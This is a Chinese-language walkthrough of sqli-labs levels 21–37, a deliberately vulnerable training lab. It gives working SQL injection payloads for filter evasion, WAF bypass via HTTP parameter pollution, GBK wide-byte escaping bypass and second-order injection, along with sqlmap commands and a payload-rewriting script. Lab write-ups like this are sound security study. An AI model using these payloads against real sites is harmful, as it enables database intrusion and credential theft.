[NOTE] sqli-labs Adv Injections
文章目录
- [NOTE] sqli-labs Adv Injections
- 前言
- Less-21: Cookie injection - base64 encoded-single quotes and parenthesis
- Less-22: Cookie injection - base64 encoded-single – double quotes
- Less-23: GET - Error based - strip comments
- Less-24: POST - Second Oder Injections *Real treat* - Stored Injections
- Less-25: GET - Error based - All your OR & AND belong to us - string single quote
- Less-25a: GET - Blind based - All your OR & AND belong to us – Intiger based
- Less-26: GET - Error based - All your SPACES and COMMENTS belong to us
- Less-26a: GET - Blind Based - All your SPACES and COMMENTS belong to us – String-single quotes-Parenthesis
- Less-27: GET - Error Based - All your UNION & SELECT Belong to us – String – String quote
- Less-27a: GET - Blind Based - All your UNION & SELECT Belong to us – Double Quotes
- Less-28: GET - Error Based - All your UNION & SELECT Belong to us – String – Single quote with parenthesis
- Less-28a: GET - Blind Based - All your UNION & SELECT Belong to us – single quote-parenthesis
- Less-29: GET - Error based - IMPIDENCE MISMATCH – Having a WAF in front of web application
- Less-30: GET - BLIND - IMPIDENCE MISMATCH - Having a WAF in front of web application
- Less-31: GET - BLIND - IMPIDENCE MISMATCH – Having a WAF in front of web application
- Less-32: GET - Bypass custom filter adding slashes to dangerous chars
- Less-33: GET - Bypass AddSlashes()
- Less-34: POST - Bypass AddSlashes()
- Less-35: GET - Bypass Add Slashes (we dont need them) Interger based
- Less-36: GET – Bypass MySQL_real_escape_string
- Less-37: POST – Bypass MySQL_real_escape_string
前言
针对sqli-labs靶场的做题笔记
环境
虚拟机环境
攻击机:kali|10.10.10.1
靶机:ubuntu|10.10.10.2|Apache+PHP+MySQL
Less-21: Cookie injection - base64 encoded-single quotes and parenthesis
就是Basic Injection里边的Less-21(重复了?)
Less-22: Cookie injection - base64 encoded-single – double quotes
和Less-21一样,只不过闭合方式从 ’) 变成了 “
下略
试试sqlmap能不能跑
sqlmap -r cookieInj --level 5 --risk 3 --cookie="uanme=*" --tamper="base64encode"
关键是指定要探测注入漏洞的cookie字段(注意格式),以及指定编码方式(tamper——篡改)
Less-23: GET - Error based - strip comments
strip comments——注释过滤?应该是做了基本的过滤
看眼源码:
用preg_replace()对注释符做了过滤(正则匹配)
过滤方法1:主动闭合——?id=' or 1=1 or '
?id=' union select 1,group_concat(username),group_concat(password) from users where '1'='1
过滤方法2:00截断——?id=' or 1=1; %00
(不知为啥要加个分号)
?id=' union select 1,group_concat(username),group_concat(password) from users; %00
Less-24: POST - Second Oder Injections Real treat - Stored Injections
关于这题的学习资料
看了半天源码,是有两个有区别的PHP函数
mysql_real_escape_string
mysql_escape_string
这关简单模拟了一个系统,注册、登入、重置密码、登出到忘记密码都有
其中除注册外,其他地方的输入都使用了mysql_real_escape_string()
进行转义
而注册的地方使用的是mysql_escape_string()
进行转义
可以上网查一下这两个函数,其中mysql_escape_string
不转义“%”和“_”
关于这题整体,是二次注入,也叫存储型注入
大致思路是,先事把含有特殊字符的字符串放到服务器数据库中
然后再找到服务器提取该字符串并直接拼接到SQL语句中的场景
因为是从数据库中直接提取字符串而不是由用户输入
所以很可能是没有做任何过滤就直接拼接的
从而绕过一些过滤限制
这题关键是重置密码时,无需用户输入自己的用户名
那么很可能就是系统自己从数据库中提取并拼接用户名
做法
先自己注册一个账户:admin'#
/password
可以注意到这个用户名是合法的,并且会被完整显示出来
登入这个用户,重置自己的密码为hacked
然后登出,会发现账户admin
的密码被改成了hacked
这是因为后台修改账户密码的代码如下:
UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass'
其中用户名字段是直接从$_SESSION["username"]
中提取的
当拼接上我们自己创建的账户时,就会变成:
UPDATE users SET PASSWORD='$pass' WHERE username='admin'#' and password='$curr_pass'
相当于变成了:
UPDATE users SET PASSWORD='$pass' WHERE username='admin'
这样就达到了修改管理员账户密码的目的
这题难度感觉不白盒,很难做出来
Less-25: GET - Error based - All your OR & AND belong to us - string single quote
一样的GET参数id
题目是,所有的OR
和AND
都归他了
估计是过滤这俩关键字
99'
:报错
99'%23
:没有报错
估计是字符型注入
然后payload里面包含and
和or
,回显出来都不见了
说明被过滤了
URL编码不行,concat函数包含字符串的or
不行
可能还需要多了解一下编码绕过这块,可能有别的可行方法
(编码绕过方向全错,我在赣神魔)
这个payload倒不会报语法错误,但是说列数不同
?id=' union select (case when (1=1) then 1 else 1 end) %23
即case-when-then-end
可用
蚌埠住了,看看源码,对参数id
做了下黑名单过滤:
function blacklist($id) {
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
return $id;
}
preg_replace
函数:hhhhhh草得去等馆长了
preg_replace
函数:对目标字符串执行一个正则模式的查找与替换
最关键的是,它只会查找并替换一次,只有一次
于是就可以双写绕过了
(函数原型好像有一个limit
参数指定替换的最大次数?默认是-1
无限次?)
(可能是指遍历替换的次数,不是递归替换的次数?)
此外换成||
和&&
也行,但是后面有些payload还是要双写
另外注意的是,别的地方出现了or
和and
都要双写绕过:
?id=' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema=database() anandd table_name='users' %23
可以考虑写个脚本函数自动执行payload的替换
原来双写绕过就可以了,一开始还去想什么编码、case-wen啥的
终极眼高手低,草
一个绕过过滤的思路:
若有过滤,先判断是一次性过滤还是非一次性过滤
一次性的话:双写绕过
非一次性的话:则要考虑变形
- 大小写混拼
- 运算符代替:
or
->||
、and
->&&
- URL编码绕过:
#
->%23
- Hex编码绕过:
~
->0x7e
- 添加注释:
/*or*/
Less-25a: GET - Blind based - All your OR & AND belong to us – Intiger based
题目加个a
,估计只是上一题的变式
字符型注入换成数字型
其他地方实际做起来确实和上一题没啥区别,都是双写可绕过
看看源码,没啥东西
倒是有一行print_r(mysql_error())
被注释掉了,所以没有错误回显
Less-26: GET - Error based - All your SPACES and COMMENTS belong to us
看样子是过滤掉了空格和注释
结果不是,or
和and
也被过滤了
看看源码的过滤函数:
function blacklist($id) {
//strip out OR (non case sensitive)
$id= preg_replace('/or/i',"", $id);
//Strip out AND (non case sensitive)
$id= preg_replace('/and/i',"", $id);
//strip out /*
$id= preg_replace('/[\/\*]/',"", $id);
//Strip out --
$id= preg_replace('/[--]/',"", $id);
//Strip out #
$id= preg_replace('/[#]/',"", $id);
//Strip out spaces
$id= preg_replace('/[\s]/',"", $id);
//Strip out slashes
$id= preg_replace('/[\/\\\\]/',"", $id);
return $id;
}
关于过滤注释的绕过,一开始想着这样双拼:/*/**/*/
结果不行,原来过滤的是/*
所以要这样双拼://**/**/
说明绕过的姿势还要放开思路
验证注入的payload:?id='//**/**/oorr//**/**/'1'='1
写了个脚本来做敏感字符得自动化替换:
import sys
if __name__ == '__main__':
for i in range(len(sys.argv)-1):
res = sys.argv[i+1]
res = res.replace(" ", "/**/")
res = res.replace("or", "oorr")
res = res.replace("and", "anandd")
res = res.replace("/*", "//**")
print(res)
exit(0)
后面那个注释符目前找不到很好的绕过方法,好像只能通过闭合的方式通过检查
但是试了试别的payload,发现会报错?例如下面这个爆表:
'//***/union//***/select//***/1,group_concat(table_name),3//***/from//***/infoorrmation_schema.tables//***/where//***/table_schema=database()//***/anandd//***/'1'='1
就报了语法错误:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_s’ at line 1
检查一下发现回显也正常,只是空格都被抽掉了
(后面检查可能还真是这里的问题,因为后面测出来是只有用空格分隔的SQL语句如“union select”等才会出现这样的问题)
那为啥别人可以?
所以估计是union select
和后面的limit
配合得不是很好?
不会要补习MySQL语法吧…
由于有完整报错回显,考虑使用updatexml
、extractvalue
等函数
改进下脚本:
import sys
res = sys.argv[1]
res = res.replace(" or ", "||")
res = res.replace("or", "oorr")
res = res.replace(" ", "/**/")
res = res.replace("and", "anandd")
res = res.replace("/*", "//**")
print(res)
另外空格被过滤,使用圆括号是一个不错的分隔办法
爆库:'||updatexml(1,//**concat(0x7e,//**(select//**database()),//**0x7e),//**1)||'1'='1
爆表:
'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),//***/0x7e),//***/1)||'1'='2
爆字段:
'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),//***/0x7e),//***/1)||'1'='2
爆数据:
'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(username))from(users)limit%0B0,1),//***/0x7e),//***/1)||'1'='2
但是到这里问题又来了
由于报错会限制回显的字符数,所以需要使用limit 0,1
来作偏移
但是这样的话就免不了又要使用空格或别的分隔符
然后就会被抽走,然后又报语法错误:
payload:'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(username))from(users)limit//***/0,1),//***/0x7e),//***/1)||'1'='2
报错回显:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘limit0,1),0x7e),1)||‘1’=‘2’ LIMIT 0,1’ at line 1
上面的‘limit’和‘0’接在一起了,去掉这个limit
就没事
那后面剩下的就上盲注吧
额不对,盲注数据好像也要用到limit
?那咋办啊
我不理解,为什么别人和在数据库里使用/**/
代替空格就行
换到sqli-labs就不行…
不会又是垃圾小皮的锅吧。。。。
上sqlmap看看
能测出DBMS是MySQL,参数id
可以注入,但是后面就测不动了
可能要指定别的参数啥的
Less-26a: GET - Blind Based - All your SPACES and COMMENTS belong to us – String-single quotes-Parenthesis
估计是和上题差不多,有些变形,而且提示了是基于盲注
测了测,发现闭合要加多个)
关闭了错误回显,所以updatexml
这类路走不通了
贴个验证注入存在的payload:')||1=1||('1')=('2
盲注要用到也要limit
,那咋整啊
Less-27: GET - Error Based - All your UNION & SELECT Belong to us – String – String quote
看样子是过滤掉了union
和select
,估计还有别的
验证一下:?id=' or 1=1 %23
回显:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘or1=1’ LIMIT 0,1’ at line 1
看样子之前过滤的这次也过滤了
得用回之前的脚本来做字段替换
看眼过滤函数:
function blacklist($id) {
$id= preg_replace('/[\/\*]/',"", $id);//strip out /*
$id= preg_replace('/[--]/',"", $id);//Strip out --.
$id= preg_replace('/[#]/',"", $id);//Strip out #.
$id= preg_replace('/[ +]/',"", $id);//Strip out spaces.
$id= preg_replace('/select/m',"", $id);//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);//Strip out spaces.
$id= preg_replace('/union/s',"", $id);//Strip out union
$id= preg_replace('/select/s',"", $id);//Strip out select
$id= preg_replace('/UNION/s',"", $id);//Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);//Strip out SELECT
$id= preg_replace('/Union/s',"", $id);//Strip out Union
$id= preg_replace('/Select/s',"", $id);//Strip out select
return $id;
}
观察一下,发现分隔符只过滤了空格和/*
,也就是说制表符%09
可用
union
和select
过滤也不完整,大小写混拼可用
没有过滤or
和and
注释符不可用
那比上一题简单了呀,updatexml
注入走起!
payload替换脚本:
import sys
res = sys.argv[1]
res = res.replace("union", "UnIoN")
res = res.replace("select", "SeLeCt")
res = res.replace(" ", "%09")
res = res.replace("/*", "//**")
print(res)
爆库:
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09database()),%090x7e)),%091)%09or%09'1'='1
爆表:
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),%090x7e)),%091)%09or%09'1'='2
爆字段:
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'),%090x7e)),%091)%09or%09'1'='2
爆数据(limit
偏移):
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09group_concat(username)%09from%09users%09limit%090,1),%090x7e)),%091)%09or%09'1'='2
然后发现limit 1,1
就没有任何显示了????
实际上可以用制表符代替分隔符的话,可以直接union select
:
'%09UnIoN%09SeLeCt%091,group_concat(username),group_concat(password)%09from%09users%09where%09'1'='1
union
和select
的限制也可以直接双写绕过
Less-27a: GET - Blind Based - All your UNION & SELECT Belong to us – Double Quotes
和上题差不多,换成双引号,关闭错误回显
爆数据:
"%09UnIoN%09SeLeCt%091,group_concat(username),group_concat(password)%09from%09users%09where%09"1"="1
Less-28: GET - Error Based - All your UNION & SELECT Belong to us – String – Single quote with parenthesis
首先还是先试试
' or '1'='1
这个可以正常回显
返回提示:Your Input is Filtered with following result: 'or'1'='1
空格被过滤了
然后试了试制表符%09
,返回提示:result: ' or '1'='1
说明制表符可用,过滤不完全
union
和select
又被过滤,但试了试大小写混拼不行
双写,发现返回提示:result: ' ununionion seselectlect 1,2,'3
说明双写的内容没有被过滤,怎么回事??
看眼源码,发现针对这俩的过滤正则是这样的:/union\s+select/i
即过滤的是这俩的组合
想到除去union select
之外还有一个union all select
可以用这个绕过上面的过滤
另外还发现不仅有单引号,还有一个圆括号也要闭合
于是有如下payload:')%09union%09all%09select%09'1','2',('3
爆库:')%09union%09all%09select%09'1','2',('3
爆表:
')%09union%09all%09select%09'1',group_concat(table_name),3%09from%09information_schema.tables%09where%09table_schema=database%09and%09'1'=('1
爆字段:
')%09union%09all%09select%09'1',group_concat(column_name),3%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'%09and%09'1'=('1
爆数据:
')%09union%09all%09select%09'1',group_concat(username),group_concat(password)%09from%09users%09where%09'1'=('1
Less-28a: GET - Blind Based - All your UNION & SELECT Belong to us – single quote-parenthesis
很卵奇怪,和上一题没啥区别
看一眼源码,发现除了对union select
的组合过滤之外没有别的过滤了
Less-29: GET - Error based - IMPIDENCE MISMATCH – Having a WAF in front of web application
“IMPIDENCE MISMATCH”——预防不匹配?
另外题目说有WAF
(This Site Protected by World's Best Firewall
,嗯哼?)
随便试试,发现乱注?' or 1=1 %23
有回显
真就乱注,爆数据:' union select 1,group_concat(username),group_concat(password) from users %23
怎么回事,看看源码
源码里面也没有任何关于WAF的内容啊?
破案了,原来用户界面是login.php
,不是默认的index.php
那就重新来过
发现不管给id
传入什么参数都会报错,然后302跳到一个hacked.php
显示说被WAF挡住了
看源码,发现有很奇怪的地方,既有id1
又有id
:
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
// ...
whitelist($id1);
// ...
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
其中whitelist
函数用白名单限制了参数只能为整数
java_implimentation
函数如下:
function java_implimentation($query_string) {
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value) {
$val=substr($value,0,2);
if($val=="id") {
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
explode
函数用于将字符串打散成数组
java_implimentation
函数的目的大概在于,捕获第一个id
参数并返回
问题就在于只捕获第一个id
参数,就把它返回给id1
并且后面的白名单检测,只检测id1
而拼接在SQL语句里的是从$_GET['id']
获得的id
再结合一波**HPP(HTTP Parameter Pollution,HTTP参数污染)**的知识
大概是请求参数中有两个参数同名的话
不同Web服务器对其的处理规则不同
从而导致利用点出现
例如PHP/Apache里边,会把最后一个同名参数作为传参
http://www.xx.com/?id=1&id=' or '1'='1
有可能检测到第一个id
正常就通过,而传入服务器的是后面的恶意参数
下面是具体不同Web服务器的处理方式:
Web服务器 | 参数获取函数 | 获取到的参数 |
---|---|---|
PHP/Apache | $_GET(“par”) | Last |
JSP/Tomcat | Request.getParameter(“par”) | First |
Perl(CGI)/Apache | Param(“par”) | First |
Python/Apache | Getvalue(“par”) | All(List) |
ASP/IIS | Request.QueryString(“par”) | All(comma-delimited string) |
所以根据上述知识,只需要传入两个id
参数,就可以WAF Bypass了,payload:
?id=1&id=' union select 1,group_concat(username),group_concat(password) from users %23
(前面的过程略)
另外关于这个WAF的体现,整(fu)理(zhi)了一波网上的资料
大概是这么一个双层服务器架构
服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。
工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。
接下来是参数解析的问题。
问:index.php?id=1&id=2,这时回显是id=1还是id=2呢?
答:apache (php) 解析最后一个参数,即回显id=2;tomcat (jsp) 解析第
一个参数,即回显id=1。问:index.jsp?id=1&id=2,针对这关的两层结构,客户端请求首先过 tomcat,tomcat 解析第一个参数,接下来 tomcat 请求 apache,apache 解析最后一个参数。那么最终返回客户端的是哪个参数?
答:此处应该还是id=2,因为实际上提供服务的是 apache 服务器,返回的数据也应该是 apache 处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 WAF。
而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。如 payload:index.jsp?id=1&id=0 or 1=1–+,tomcat 只检查第一个参数id=1,而对第二个参数id=0 or 1=1–+不做检查,直接传给了 apache,apache 恰好解析第二个参数,便达到了攻击的目的。
所以这题模拟的就是上面的Tomcat WAF&Apache Server架构
Less-30: GET - BLIND - IMPIDENCE MISMATCH - Having a WAF in front of web application
承接上题经验
单id
参数会报错
双重id
前正确后恶意能行:?id=1&id=" or 1=1 %23
测出来是双引号字符型
直接上最后爆数据的payload:
?id=1&id=" union select 1,group_concat(username),group_concat(password) from users %23
看源码:
和上题没啥区别
Less-31: GET - BLIND - IMPIDENCE MISMATCH – Having a WAF in front of web application
承接Less-29题经验
只是变成了双引号+圆括号闭合:?id=1&id=") or 1=1 %23
最后爆数据的payload:
?id=1&id=") union select 1,group_concat(username),group_concat(password) from users %23
源码其余地方和之前一样
Less-32: GET - Bypass custom filter adding slashes to dangerous chars
打入单引号的时候,发现提示回显:
Hint: The Query String you input is escaped as : \’
The Query String you input in Hex becomes : 5c27
看上去是被加了反斜杠进行转义
简单测试,发现'
、"
以及\
都会被加上反斜杠进行转义
结合提示会回显16进制的查询结果,考虑宽字符注入
下面的内容来自Pikachu靶场练习笔记的宽字节注入内容
主要是利用了GBK系列编码,将两个字节当成是一个中文字符的原理
相关配置为:set character_set_client = gbk
一般为引号被加上反斜杠转义的情况
1' and 1=1 #
->1\' and 1=1 #
相当于查询id为‘1’ and 1=1 #’的信息
但是可以主动加上一个‘%df’
1%df' and 1=1 #
->1%df\' and 1=1 #
->1%df%5c' and 1=1 #
->1輼' and 1=1 #
相当于查询id为‘1輼’的信息,然后执行and后面的判断
于是验证注入的payload:%df' or 1=1 %23
后续略
其中需要用到字符串判断的地方,比如要table_name='users'
可以使用**concat
函数和char
函数**来进行结合变式
?id=%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=concat(char(117),char(115),char(101),char(114),char(115)) %23
Less-33: GET - Bypass AddSlashes()
AddSlashes,添加斜杠
后面跟个圆括号,看起来像个给特殊字符添加斜杆来转义的函数
果不其然,参数id
打入单引号,提示回显给加上了反斜杠
可以考虑宽字节注入
?id=%df' or 1=1 %23
就可以正确回显了,说明宽字节注入有效
那基本上就和上一题一样了
看看源码,主要是使用addslashes
函数对传参进行过滤
这个函数主要是对'
、"
、\
以及NULL
字符前边加上反斜杠
此外源码里面有一行比较有意思:
mysql_query("SET NAMES gbk");
看来宽字节注入真的与GBK编码有很大干系
Less-34: POST - Bypass AddSlashes()
变成登录框,两个框都会添加反斜杠
遇到问题了,POST怎么做到宽字节注入?
哦,原来原理上是一样的
验证payload:username:%df' or 1=1 #
/password:1
这里需要了解一下Content-Type: application/x-www-form-urlencoded
这种MIME是form
标签不设置别的encrypt
属性时所默认采用的
它会把表单提交的键和值进行url编码
所以从网页上提交的payload,再经过url编码后,会变成这样:
%25df%27+or+1%3D1+%23
即%
被转码了,所以提示回显里面的百分号出现了
所以需要使用bp等代理工具进行抓包改包:
这样的所发出的payload才有效,才能注入成功
剩下的payload如无说明默认是uname
的参数
判断回显字段数为2:
%df' or 1=1 order by 2#
查看回显的字段:
%df' union select 1,2#
下略
其中需要用到字符串判断的地方,比如要table_name='users'
可以使用**concat
函数和char
函数**来进行结合变式
Less-35: GET - Bypass Add Slashes (we dont need them) Interger based
数字型还要什么双引号,直接验证注入:?id=999 or 1=1 %23
爆列:
?id=999 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=concat(char(117),char(115),char(101),char(114),char(115)) %23
下略
Less-36: GET – Bypass MySQL_real_escape_string
怕是要绕过mysql_real_escape_string
这个函数
结果可以宽字节绕过
记一下GBK编码如何防止宽字符注入
先调用mysql_set_charset函数设置连接所使用的字符集为gbk,再调用mysql_real_escape_string函数来过滤用户输入
(mysql_set_charset('gbk','$conn')
)
也就是说,先不进行转义,首先以GBK编码的形式对提交上来的参数进行编码,然后再进行转义,(先编码也意味着反斜杠即5c不会出现,到下一步的转义引号才出现)
源码的失误就在于先转义再编码
Less-37: POST – Bypass MySQL_real_escape_string
虽然使用mysql_real_escape_string
函数,但是和GBK字符集设置顺序有误
所以可以宽字符绕过
详见Less-34、Less-36